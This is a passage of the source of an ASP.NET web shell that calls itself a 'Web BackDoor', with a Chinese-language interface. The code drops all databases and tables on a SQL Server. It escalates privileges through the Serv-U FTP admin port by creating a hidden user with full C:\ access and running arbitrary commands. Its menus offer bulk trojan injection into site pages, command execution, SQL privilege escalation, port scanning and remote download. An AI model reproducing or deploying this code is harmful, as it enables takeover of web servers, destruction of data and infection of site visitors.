jksdr.Close();
jksdr.Dispose();
getocmd.Dispose();
int zuihou = usertabdel.LastIndexOf (",");
string jiequ = usertabdel.Substring(0, zuihou);
string[] fenge = jiequ.Split(',');
foreach (string fengef in fenge)
{
plsb = "drop table [" + fengef.ToString() + "]" ;
getocmd = new SqlCommand(plsb, conn);
getocmd.ExecuteNonQuery();
}
getocmd.Dispose();
conn.Close();
conn.Dispose();
}
}
public void getlistku()
{
string kp = kusqlport.Text;
if (kp == "1433")
{
kp = "";
}
else if (kp == "")
{
kp = "";
}
else
{
kp = "," + kp;
}
SqlConnection connku = new SqlConnection("server=." + kp + ";User ID=" + kusqlname.Text + ";Password=" + kusqlpass.Text);
connku.Open();
string jkku = "USE master SELECT name FROM SYSDATABASES";
getocmd = new SqlCommand(jkku, connku);
SqlDataReader jkkudr = getocmd.ExecuteReader();
while (jkkudr.Read())
{
ListBox3.Items.Add(jkkudr.GetValue(0).ToString());
}
jkkudr.Close();
jkkudr.Dispose();
connku.Close();
connku.Dispose();
}
public string getdelkustr;
public string getdelneiku;
protected void delku_Click(object sender, EventArgs e)
{
if (ListBox3.Items.Count != 0)
{
try
{
SqlConnection conn = new SqlConnection("server=.;uid=" + kusqlname.Text + ";pwd=" + kusqlpass.Text);
conn.Open();
string getdelkustr = "select * from sysdatabases where sid<>0x01";
getocmd = new SqlCommand (getdelkustr,conn);
SqlDataReader deldr = getocmd.ExecuteReader();
while (deldr.Read())
{
getdelneiku += deldr.GetValue(0).ToString() + ",";
}
deldr.Close();
deldr.Dispose();
getocmd.Dispose();
int houzhui = getdelneiku.LastIndexOf(",");
getdelneiku = getdelneiku.Substring(0, houzhui);
string[] getneiku = getdelneiku.Split(',');
foreach ( string nk in getneiku )
{
getocmd = new SqlCommand("drop database " + nk.ToString () , conn);
getocmd.ExecuteNonQuery();
getocmd.Dispose();
}
Response.Write("<script>alert('成功批量删除数据库!')</" + "script>");
conn.Close();
conn.Dispose();
ListBox3.Items.Clear();
getlistku();
}
catch (Exception errorsa)
{
Response.Write(errorsa.Message.ToString());
Response.End();
}
}
}
protected void delzdb_Click(object sender, EventArgs e)
{
if (ListBox4.Items.Count != 0)
{
string kp = kusqlport.Text;
if (kp == "1433")
{
kp = "";
}
else if (kp == "")
{
kp = "";
}
else
{
kp = "," + kp;
}
SqlConnection conn = new SqlConnection("server=." + kp + ";User ID=" + kusqlname.Text + ";Password=" + kusqlpass.Text + ";database=" + ListBox3.SelectedItem.ToString());
conn.Open();
getocmd = new SqlCommand("drop table [" + ListBox4.SelectedItem.ToString() + "]", conn);
getocmd.ExecuteNonQuery();
Response.Write("<script>alert('删除成功!')</" + "script>");
conn.Close();
conn.Dispose();
}
}
protected void delzdk_Click(object sender, EventArgs e)
{
if (ListBox3.Items.Count != 0)
{
string kp = kusqlport.Text;
if (kp == "1433")
{
kp = "";
}
else if (kp == "")
{
kp = "";
}
else
{
kp = "," + kp;
}
SqlConnection conn = new SqlConnection("server=." + kp + ";User ID=" + kusqlname.Text + ";Password=" + kusqlpass.Text);
conn.Open();
getocmd = new SqlCommand("drop database " + ListBox3.SelectedItem.ToString(), conn);
getocmd.ExecuteNonQuery();
Response.Write("<script>alert('删除成功!')</" + "script>");
conn.Close();
conn.Dispose();
ListBox3.Items.Clear();
getlistku();
}
}
public void getacctable()
{
string connstr = accstr.Text.Trim();
OleDbConnection oleconn = new OleDbConnection(connstr);
oleconn.Open();
System.Data.DataTable dt = new System.Data.DataTable();
dt = oleconn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
for (int ok = 0; ok < dt.Rows.Count; ok++)
{
ListBox5.Items.Add(dt.Rows[ok].ItemArray[2].ToString());
}
oleconn.Close();
oleconn.Dispose();
}
protected void accconn_Click(object sender, EventArgs e)
{
string connstr = accstr.Text.Trim();
getacctable();
}
public void getdg()
{
string gvstr = "select * from [" + ListBox5.SelectedItem.ToString() + "]";
OleDbConnection oleconn = new OleDbConnection(accstr.Text.Trim());
oleconn.Open();
OleDbDataAdapter oleda = new OleDbDataAdapter(gvstr, oleconn);
System.Data.DataSet oleds = new System.Data.DataSet();
oleda.Fill(oleds, ListBox5.SelectedItem.ToString());
GridView2.DataSource = oleds;
GridView2.DataBind();
oleda.Dispose();
oleconn.Close();
oleconn.Dispose();
}
protected void ListBox5_SelectedIndexChanged(object sender, EventArgs e)
{
getdg();
}
protected void acczdb_Click(object sender, EventArgs e)
{
OleDbConnection oe = new OleDbConnection(accstr.Text.Trim());
oe.Open();
OleDbCommand oc = new OleDbCommand("drop table [" + ListBox5.SelectedItem.ToString() + "]", oe);
oc.ExecuteNonQuery();
Response.Write("<script>alert('删除表成功!')</"+"script>");
oc.Dispose();
oe.Close();
oe.Dispose();
ListBox5.Items.Clear();
getacctable();
}
protected void accpl_Click(object sender, EventArgs e)
{
OleDbConnection oee = new OleDbConnection(accstr.Text.Trim());
oee.Open();
for (int jj = 0; jj < ListBox5.Items.Count; jj++)
{
string delact = "drop table [" + ListBox5.Items[jj].ToString() + "]";
OleDbCommand occ = new OleDbCommand(delact, oee);
occ.ExecuteNonQuery();
occ.Dispose();
}
Response.Write("<script>alert('批量清除完毕!')</" + "script>");
oee.Close();
oee.Dispose();
ListBox5.Items.Clear();
getacctable();
}
protected void accadd_Click(object sender, EventArgs e)
{
OleDbConnection oe = new OleDbConnection(accstr.Text.Trim());
oe.Open();
string addsql = addtxt.Text.Trim();
OleDbCommand oc = new OleDbCommand(addsql, oe);
oc.ExecuteNonQuery();
Response.Write("<script>alert('成功添加数据,请刷新表!')</" + "script>");
oc.Dispose();
oe.Close();
oe.Dispose();
}
protected void accupdate_Click(object sender, EventArgs e)
{
OleDbConnection oe = new OleDbConnection(accstr.Text.Trim());
oe.Open();
string updatesql = updatetxt.Text.Trim();
OleDbCommand oc = new OleDbCommand(updatesql, oe);
oc.ExecuteNonQuery();
Response.Write("<script>alert('成功更新数据,请刷新表!')</" + "script>");
oc.Dispose();
oe.Close();
oe.Dispose();
}
protected void accdel_Click(object sender, EventArgs e)
{
OleDbConnection oe = new OleDbConnection(accstr.Text);
oe.Open();
string delsql = deltxt.Text.Trim();
OleDbCommand oc = new OleDbCommand(delsql, oe);
oc.ExecuteNonQuery();
Response .Write ("<script>alert('成功删除数据,请刷新表!')</" + "script>");
oc.Dispose();
oe.Close();
oe.Dispose();
}
protected void jksubtn_Click(object sender, EventArgs e)
{
string getall = "";
string getjksuname = jksuname.Text;
string getjksupass = jksupass.Text;
Int32 getjksuport = Convert.ToInt32(jksuport.Text);
string getjksucmd = jksucmd.Text;
string getjkloginuser = "User " + getjksuname + "\r\n";
string getjkloginpass = "Pass " + getjksupass + "\r\n";
string getjknewdomain = "-SETDOMAIN\r\n-Domain=jk|0.0.0.0|68915|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
string getjkdeldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=68915\r\n";
string getjknewuser = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=68915\r\n-User=jk\r\n-Password=mhjk\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
string getjkquite = "QUIT\r\n";
string getsite = "SITE MAINTENANCE\r\n";
try
{
TcpClient sutc = new TcpClient("127.0.0.1", getjksuport);
sutc.ReceiveBufferSize = 1024;
NetworkStream ns = sutc.GetStream();
getall = getjkrev(ns);
getall += getjksend(ns, getjkloginuser);
getall += getjkrev(ns);
getall += getjksend(ns, getjkloginpass);
getall += getjkrev(ns);
getall += getjksend(ns, getsite );
getall += getjkrev(ns);
getall += getjksend(ns, getjkdeldomain);
getall += getjkrev(ns);
getall += getjksend(ns, getjknewdomain);
getall += getjkrev(ns);
getall += getjksend(ns, getjknewuser);
getall += getjkrev(ns);
TcpClient sutc1 = new TcpClient("127.0.0.1", 68915);
NetworkStream ns1 = sutc1.GetStream();
getall += getjkrev(ns1);
getall += getjksend(ns1, "user jk\r\n");
getall += getjkrev(ns1);
getall += getjksend(ns1, "pass mhjk\r\n");
getall += getjkrev(ns1);
getall += getjksend (ns1, "site exec " + getjksucmd + "\r\n");
getall += getjkrev(ns1);
sutc1.Close();
getall += getjksend(ns, getjkdeldomain);
getall += getjkrev(ns);
getall += getjksend(ns, getjkquite);
getall += getjkrev (ns);
sutc.Close();
}
catch (Exception suerr)
{
Response.Write(suerr.Message.ToString());
}
Response.Write("<font color='red'>" + getall + "</font>");
}
public string getjkrev(NetworkStream jkstream)
{
string revstr = "";
if (jkstream.CanRead)
{
byte[] buffer = new byte[1024];
jkstream.Read(buffer, 0, buffer.Length);
revstr = Encoding.ASCII.GetString(buffer);
}
return "<font color='red'>" + revstr + "</font>";
}
public string getjksend(NetworkStream jkstream, string jksend)
{
if (jkstream.CanWrite)
{
byte[] buffer = Encoding.ASCII.GetBytes(jksend);
jkstream.Write(buffer, 0, buffer.Length);
}
return "<font color='red'>" + jksend + "</font>";
}
protected void dabaobtn_Click(object sender, EventArgs e)
{
if (daboml.Text.Trim() != "")
{
if (dabaodz.Text.Trim() != "")
{
//if (Path.GetExtension(dabaodz.Text.Trim().ToLower()) == "rar")
//{
String the_rar;
RegistryKey the_Reg;
Object the_Obj;
String the_Info;
ProcessStartInfo the_StartInfo;
Process the_Process;
try
{
the_Reg = Registry.ClassesRoot.OpenSubKey(@"Applications\WinRAR.exe\Shell\Open\Command");
the_Obj = the_Reg.GetValue("");
the_rar = the_Obj.ToString();
the_Reg.Close();
the_rar = the_rar.Substring(1, the_rar.Length - 7);
the_Info = " a " + dabaodz.Text.ToString() + " " + Getdbfilea(daboml.Text);
the_StartInfo = new ProcessStartInfo();
the_StartInfo.FileName = the_rar;
the_StartInfo.Arguments = the_Info;
the_StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
the_StartInfo.WorkingDirectory = "C:\\";
the_Process = new Process();
the_Process.StartInfo = the_StartInfo;
the_Process.Start();
Response.Write("打包成功");
}
catch (Exception ex)
{
Response.Write(ex.Message.ToString());
Response.End();
}
//}
//else
//{
// Response.Write("<script>alert('打包后缀名为rar')</" + "script>");
//}
}
}
}
public bool chknumber( string the_regstr )
{
System.Text.RegularExpressions.Regex jk_reg = new Regex("^0|[0-9]*[1-9][0-9]*$");
if (jk_reg.IsMatch(the_regstr))
{
return true;
}
else
{
return false;
}
}
protected void Button5_Click(object sender, EventArgs e)
{
if (TextBox1.Text.Trim() == jksessionpass)
{
Session["jksession"] = "jk1986";
Session.Timeout = 120000;
}
}
protected void CheckBox1_CheckedChanged(object sender, EventArgs e)
{
if (CheckBox1.Checked == true)
{
File.SetAttributes(fileconfigpath.Text.ToString(), FileAttributes.ReadOnly);
}
}
protected void CheckBox2_CheckedChanged(object sender, EventArgs e)
{
if (CheckBox2.Checked == true)
{
File.SetAttributes(fileconfigpath.Text.ToString(), File.GetAttributes(fileconfigpath.Text) | FileAttributes.Hidden);
}
}
protected void CheckBox3_CheckedChanged(object sender, EventArgs e)
{
if (CheckBox3.Checked == true)
{
File.SetAttributes(fileconfigpath.Text.ToString(), File.GetAttributes(fileconfigpath.Text) | FileAttributes.System);
}
}
protected void CheckBox4_CheckedChanged(object sender, EventArgs e)
{
if (CheckBox4.Checked == true)
{
File.SetAttributes(fileconfigpath.Text.ToString(), File.GetAttributes(fileconfigpath.Text) | FileAttributes.Archive);
}
}
protected void TreeView2_TreeNodeExpanded(object sender, TreeNodeEventArgs e)
{
if (TreeView3.Nodes[0].Expanded == true )
{
Response.Write("<script>alert('提权目录未折叠,程序自动刷新!');location.href='"+ getselfurl +"'</"+"script>");
Response.End();
}
if (TreeView1.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('本地硬盘未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView4.Nodes[0].Expanded == true)
{
Response.Write ("<script>alert('Shell功能未折叠程序自动刷新');location.href='"+ getselfurl +"'</"+"script>");
Response.End ();
}
if (TreeView5.Nodes [0].Expanded == true )
{
Response.Write ("<script>alert('数据库操作未折叠,程序自动刷新!');location.href='"+ getselfurl +"'</"+"script>");
Response.End();
}
}
protected void TreeView1_TreeNodeExpanded(object sender, TreeNodeEventArgs e)
{
if (TreeView3.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('提权目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView2.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('文件目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView4.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('Shell功能未折叠程序自动刷新');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView5.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('数据库操作未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
}
protected void TreeView3_TreeNodeExpanded(object sender, TreeNodeEventArgs e)
{
if (TreeView2.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('文件目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView1.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('本地硬盘未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView4.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('Shell功能未折叠程序自动刷新');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView5.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('数据库操作未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
}
protected void TreeView4_TreeNodeExpanded1(object sender, TreeNodeEventArgs e)
{
if (TreeView3.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('提权目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView1.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('本地硬盘未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView2.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('文件目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView5.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('数据库操作未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
}
protected void TreeView5_TreeNodeExpanded(object sender, TreeNodeEventArgs e)
{
if (TreeView3.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('提权目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView1.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('本地硬盘未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView4.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('Shell功能未折叠程序自动刷新');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
if (TreeView2.Nodes[0].Expanded == true)
{
Response.Write("<script>alert('文件目录未折叠,程序自动刷新!');location.href='" + getselfurl + "'</" + "script>");
Response.End();
}
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>ASP.NET Web BackDoor</title>
<style type="text/css">
<!--
a:link {
font-family: "宋体";
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:visited {
font-family: "新宋体";
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:hover {
font-family: "宋体";
font-size: 12px;
color: #FF0000;
text-decoration: underline;
}
a:active {
font-family: "宋体";
font-size: 12px;
color: #000000;
text-decoration: none;
}
.STYLE1 {font-size: 12px}
-->
</style>
<script type="text/javascript">
function test()
{
if(!confirm('确认删除本信息吗?')) return false;
}
</script>
</head>
<body style="text-align: center">
<form id="form1" runat="server">
<%
if (Session["jksession"] != null )
{
Response.Write("<P class='STYLE1'>千秋邈矣独留我,百战归来再读书。</P>");
Response.Write("<p class='STYLE1'><a href='?action=shuaxin'>刷新页面</a></p>");
if (Request.Params["action"] == "shuaxin")
{
Response.Write("<script>alert('刷新页面 ^_^ ');location.href='" + getselfurl +"'</" + "script>");
}
Response.Write("<hr/>");
%>
<table style="width: 631px">
<tr>
<td style="width: 100px; height: 172px;" valign="top">
<asp:TreeView ID="TreeView1" runat="server" ExpandDepth="0" Font-Size="12px" ForeColor="Black"
Height="27px" OnSelectedNodeChanged="TreeView1_SelectedNodeChanged" Width="64px" OnTreeNodeExpanded="TreeView1_TreeNodeExpanded">
</asp:TreeView>
</td>
<td style="width: 100px; height: 172px;" valign="top">
<asp:TreeView ID="TreeView2" runat="server" ExpandDepth="0" Font-Size="12px" ForeColor="Black"
OnSelectedNodeChanged="TreeView2_SelectedNodeChanged" OnTreeNodeExpanded="TreeView2_TreeNodeExpanded">
<Nodes>
<asp:TreeNode Text="文件目录" Value="文件目录">
<asp:TreeNode Text="站点根目录" Value="站点根目录"></asp:TreeNode>
<asp:TreeNode Text="本程序目录" Value="本程序目录"></asp:TreeNode>
<asp:TreeNode Text="新建目录" Value="新建目录"></asp:TreeNode>
<asp:TreeNode Text="新建文本" Value="新建文本"></asp:TreeNode>
<asp:TreeNode Text="上传文件" Value="上传文件"></asp:TreeNode>
<asp:TreeNode Text="批量挂马" Value="批量挂马"></asp:TreeNode>
<asp:TreeNode Text="批量清马" Value="批量清马"></asp:TreeNode>
<asp:TreeNode Text="查找木马" Value="查找木马"></asp:TreeNode>
</asp:TreeNode>
</Nodes>
</asp:TreeView>
</td>
<td style="width: 100px; height: 172px;" valign="top">
<asp:TreeView ID="TreeView3" runat="server" ExpandDepth="0" Font-Size="12px" ForeColor="Black" OnSelectedNodeChanged="TreeView3_SelectedNodeChanged" OnTreeNodeExpanded="TreeView3_TreeNodeExpanded">
<Nodes>
<asp:TreeNode Text="提权目录" Value="提权目录">
<asp:TreeNode Text="Program Files" Value="Program Files"></asp:TreeNode>
<asp:TreeNode Text="Documents and Settings" Value="Documents and Settings"></asp:TreeNode>
<asp:TreeNode Text="PcAnywhere" Value="PcAnywhere"></asp:TreeNode>
<asp:TreeNode Text="Serv-U(I)" Value="Serv-U(I)"></asp:TreeNode>
<asp:TreeNode Text="Serv-U(II)" Value="Serv-U(II)"></asp:TreeNode>
<asp:TreeNode Text="开始菜单" Value="开始菜单"></asp:TreeNode>
<asp:TreeNode Text="Real" Value="Real"></asp:TreeNode>
<asp:TreeNode Text="Sql Server" Value="Sql Server"></asp:TreeNode>
<asp:TreeNode Text="Config" Value="Config"></asp:TreeNode>
<asp:TreeNode Text="Inetsrv" Value="Inetsrv"></asp:TreeNode>
<asp:TreeNode Text="Temp" Value="Temp"></asp:TreeNode>
<asp:TreeNode Text="Repair" Value="Repair"></asp:TreeNode>
</asp:TreeNode>
</Nodes>
</asp:TreeView>
</td>
<td style="width: 100px; height: 172px;" valign="top"><asp:TreeView ID="TreeView4" runat="server" ExpandDepth="0" Font-Size="12px" ForeColor="Black" OnSelectedNodeChanged="TreeView4_SelectedNodeChanged" OnTreeNodeExpanded="TreeView4_TreeNodeExpanded1" >
<Nodes>
<asp:TreeNode Text="功能模块" Value="功能模块">
<asp:TreeNode Text="系统信息" Value="系统信息"></asp:TreeNode>
<asp:TreeNode Text="Cmd执行" Value="Cmd执行"></asp:TreeNode>
<asp:TreeNode Text="进程管理" Value="进程管理"></asp:TreeNode>
<asp:TreeNode Text="SQL提权(SA)" Value="SQL提权(SA)"></asp:TreeNode>
<asp:TreeNode Text="SQL提权(dbowner or public)" Value="SQL提权(dbowner or public)"></asp:TreeNode>
<asp:TreeNode Text="注册表读取" Value="注册表读取"></asp:TreeNode>
<asp:TreeNode Text="端口扫描" Value="端口扫描"></asp:TreeNode>
<asp:TreeNode Text="远程下载" Value="远程下载"></asp:TreeNode>
<asp:TreeNode Text="SU提权" Value="SU提权"></asp:TreeNode>
<asp:TreeNode Text="遍历IIS" Value="遍历IIS"></asp:TreeNode>
</asp:TreeNode>
</Nodes>
</asp:TreeView>
</td>
<td style="width: 100px; height: 172px;" valign="top" align="center"><asp:TreeView ID="TreeView5" runat="server" ExpandDepth="0" Font-Size="12px" ForeColor="Black" OnSelectedNodeChanged="TreeView4_SelectedNodeChanged" OnTreeNodeExpanded="TreeView5_TreeNodeExpanded" >
<Nodes>
<asp:TreeNode Text="数据库和退出" Value="数据库和退出">
<asp:TreeNode Text="SQL Server" Value="SQL Server"></asp:TreeNode>
<asp:TreeNode Text="Access" Value="Access"></asp:TreeNode>
<asp:TreeNode Text="文件打包" Value="文件打包"></asp:TreeNode>
<asp:TreeNode Text="About" Value="About"></asp:TreeNode>
<asp:TreeNode Text="退出登陆" Value="退出登陆"></asp:TreeNode>
</asp:TreeNode>
</Nodes>
</asp:TreeView>
</td>
</tr>
</table>
<table style="font-size: 12px; width: 631px; text-align: left;">
<tr>
<td colspan="2" style="height: 21px">
<asp:Label ID="Label2" runat="server" OnLoad="Label2_Load"></asp:Label></td>
</tr>
<tr>
<td colspan="2" style="height: 21px; width: 631px;" valign="top">
<asp:Label ID="Label1" runat="server"></asp:Label></td>
</tr>
</table>
<% if (Request.QueryString["action"] == "edit")
{
if (Request.QueryString["File"] != "")
{
editpath.Visible = true;
filecontent.Text = getcontent;
%>
<table style="font-size: 12px; width: 888px">
<tr>
<td colspan="3" align="center">
路径:&nbsp;
<asp:TextBox ID="editpath" runat="server" Width="287px" ReadOnly="True"></asp:TextBox></td>
</tr>
<tr>
<td colspan="3" style="height: 424px" align="center">
<asp:TextBox ID="filecontent" runat="server" Height="411px" TextMode="MultiLine" Width="857px"></asp:TextBox></td>
</tr>
<tr>
<td align="center" colspan="3" style="height: 21px">
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text=" 保 存 " Font-Size="12px" /></td>
</tr>
</table>
<%
}
}
else
{
editpath.Visible = false;
}
%>
<%
if (Request.QueryString["action"] == "rename")
{
if (Request.QueryString["File"] != "")
{
refilename.Visible = true;
refilename.Text = getname;
%>
<table style="font-size: 12px; width: 562px">
<tr>
<td align="center" style="width: 108px; height: 26px">
需要重命名文件:
</td>
<td style="width: 95px; height: 26px">
<asp:TextBox ID="refilename" runat="server" Width="268px"></asp:TextBox></td>
<td align="left" style="width: 100px; height: 26px">
<asp:Button ID="Button3" runat="server" Font-Size="12px" OnClick="Button2_Click"
Text=" 确 认 " /></td>
</tr>
</table>
<%
}
}
else
{
refilename.Visible = false;
}
%>
<%
if (Request.QueryString["action"] == "config")
{
if (Request.QueryString["File"] != "")
{
%>
<table style="width: 800px; font-size: 12px;">
<tr>
<td style="width: 169px; height: 37px;" align="right">
文件路径:&nbsp;
</td>
<td style="width: 95px; height: 37px;">
<asp:TextBox ID="fileconfigpath" runat="server" Font-Size="12px" Width="350px"></asp:TextBox></td>
<td style="width: 100px; height: 37px;">
</td>
</tr>
<tr>
<td style="width: 169px; height: 34px;" align="right">
属性设置:&nbsp;
</td>
<td colspan="2" align="left" style="height: 34px">
<asp:CheckBox ID="CheckBox1" runat="server" Text="只读" AutoPostBack="True" OnCheckedChanged="CheckBox1_CheckedChanged" />
&nbsp; &nbsp;
<asp:CheckBox ID="CheckBox2" runat="server" Text="隐藏" OnCheckedChanged="CheckBox2_CheckedChanged" AutoPostBack="True" />
&nbsp; &nbsp;
<asp:CheckBox ID="CheckBox3" runat="server" Text="系统" OnCheckedChanged="CheckBox3_CheckedChanged" AutoPostBack="True" />
&nbsp;&nbsp; &nbsp;<asp:CheckBox ID="CheckBox4" runat="server" Text="存档" OnCheckedChanged="CheckBox4_CheckedChanged" AutoPostBack="True" /></td>
</tr>
</table>
<%
}
}
if (TreeView2.SelectedValue.ToString() != "")
{
if (TreeView2.SelectedNode.Text == "新建目录")
{
cfolderstr.Text = Server.MapPath (".") + "\\" +"jk";
%>
<table style="font-size: 12px; width: 450px">
<tr>
<td style="width: 100px; height: 21px">
新 建 目 录:</td>
<td style="width: 100px; height: 21px">
<asp:TextBox ID="cfolderstr" runat="server" Font-Size="12px" Width="170px"></asp:TextBox></td>
<td style="width: 100px; height: 21px">
<asp:Button ID="cfolder" runat="server" Font-Size="12px" Text="创建目录" OnClick="cfolder_Click" /></td>
</tr>
</table>
<%
}
}
if (TreeView2.SelectedValue !="")
{
if (TreeView2.SelectedNode.Text == "新建文本")
{
cfile.Text = Server.MapPath(".") + "\\jk.aspx";
%>
<table style="font-size: 12px; width: 450px">
<tr>
<td style="width: 98px; height: 21px">
新 建 文 本:</td>
<td style="width: 145px; height: 21px">
<asp:TextBox ID="cfile" runat="server" Font-Size="12px" Width="170px"></asp:TextBox></td>
<td style="width: 100px; height: 21px">
<asp:Button ID="cfilebtn" runat="server" Font-Size="12px" Text="创建文本" OnClick="cfilebtn_Click" /></td>
</tr>
</table>
<%
}
}
%>
<%
if (TreeView2.SelectedValue != "")
{
if (TreeView2.SelectedNode.Text == "上传文件")
{
savefile.Text = Server.MapPath(".").ToString() + "\\jk.aspx" ;
%>
<table style="font-size: 12px; width: 631px">
<tr>
<td style="width: 154px; height: 30px;">
上传文件地址:</td>
<td style="width: 100px; height: 30px;">
<asp:TextBox ID="savefile" runat="server" Width="356px" Font-Size="12px"></asp:TextBox></td>
<td style="width: 100px; height: 30px;">
</td>
</tr>
<tr>
<td style="width: 154px; height: 30px;">
本地浏览:</td>
<td style="width: 100px; height: 30px;">
<asp:FileUpload ID="FileUpload1" runat="server" Font-Size="12px" Width="366px" /></td>
<td style="width: 100px; height: 30px;">
</td>
</tr>
</table>
<table style="width: 631px">
<tr>
<td style="width: 151px">
</td>
<td colspan="2" style="width: 372px">
<asp:Button ID="uploadfile" runat="server" Font-Size="12px" Text=" 上 传 " OnClick="uploadfile_Click" /></td>
<td style="width: 100px">
</td>
</tr>
</table>
<%
}
}
if (TreeView2.SelectedValue != "")
{
if ( TreeView2.SelectedNode.Text == "批量挂马" )
{
%>
<table style="width: 631px; font-size: 12px;">
<tr>
<td style="width: 119px; height: 30px;">
挂马代码:</td>
<td style="width: 289px" align="center">
<asp:TextBox ID="gmcode" runat="server" Width="274px" Font-Size="12px"></asp:TextBox></td>
<td style="width: 100px">
</td>
</tr>
<tr>
<td style="width: 119px; height: 30px;">
挂马方式:</td>
<td style="width: 289px; height: 30px;" align="center">
<asp:RadioButton ID="bml" runat="server" GroupName="jk" Text="本程序目录" />
&nbsp;&nbsp; &nbsp;<asp:RadioButton ID="gml" runat="server" GroupName="jk"
Text="根目录" /></td>
<td style="width: 100px; height: 30px;">
</td>
</tr>
<tr>
<td style="width: 119px; height: 30px;">
</td>
<td style="width: 289px; height: 21px;" align="center">
<asp:Button ID="gm" runat="server" Font-Size="12px" Text="批量挂马" OnClick="gm_Click" /></td>
<td style="width: 100px; height: 21px;">
</td>
</tr>
</table>
<%
}
}
if (TreeView2.SelectedValue != "")
{
if (TreeView2.SelectedNode.Text == "批量清马")
{
%>
<table style="width: 631px; font-size: 12px;">
<tr>
<td style="width: 119px; height: 30px;">
清马代码:</td>
<td style="width: 289px" align="center">
<asp:TextBox ID="qmcode" runat="server" Width="274px" Font-Size="12px"></asp:TextBox></td>
<td style="width: 100px">
</td>
</tr>
<tr>
<td style="width: 119px; height: 30px;">
清马方式:</td>
<td style="width: 289px; height: 30px;" align="center">
<asp:RadioButton ID="bcxml" runat="server" GroupName="jk" Text="本程序目录" />
&nbsp;&nbsp; &nbsp;<asp:RadioButton ID="gcxml" runat="server" GroupName="jk"
Text="根目录" /></td>
<td style="width: 100px; height: 30px;">
</td>
</tr>
<tr>
<td style="width: 119px; height: 30px;">
</td>
<td style="width: 289px; height: 21px;" align="center">
<asp:Button ID="Button2" runat="server" Font-Size="12px" Text="批量清马" OnClick="qingma_Click" /></td>
<td style="width: 100px; height: 21px;">
</td>
</tr>
</table>
<%
}
}
if (TreeView2.SelectedValue != "")
{
if (TreeView2.SelectedNode.Text == "查找木马")
{
%>
<table style="width: 631px; font-size: 12px;">
<tr>
<td style="width: 119px">
新增特征码:</td>
<td colspan="2" align="center">
<asp:TextBox ID="tzcode" runat="server" Width="274px" Font-Size="12px"></asp:TextBox>
&nbsp;&nbsp; (添加多个时,请用逗号隔开)</td>
</tr>
<tr>
<td style="width: 119px; height: 30px;">
查找目录:</td>
<td style="width: 289px; height: 30px;" align="center">
<asp:RadioButton ID="czbml" runat="server" GroupName="jk" Text="本程序目录" />
&nbsp;&nbsp; &nbsp;<asp:RadioButton ID="czgml" runat="server" GroupName="jk"
Text="根目录" /></td>
<td style="width: 100px; height: 30px;">
</td>
</tr>
<tr>
<td style="width: 119px; height: 21px;">
</td>
<td style="width: 289px; height: 21px;" align="center">
<asp:Button ID="find" runat="server" Font-Size="12px" Text=" 查 找 " OnClick="find_Click" /></td>
<td style="width: 100px; height: 21px;">
</td>
</tr>
<tr>
<td align="center" colspan="3" style="height: 34px">
<%=omumastr %>
</td>
</tr>
</table>
<%
}
}
if (TreeView4.SelectedValue !="")
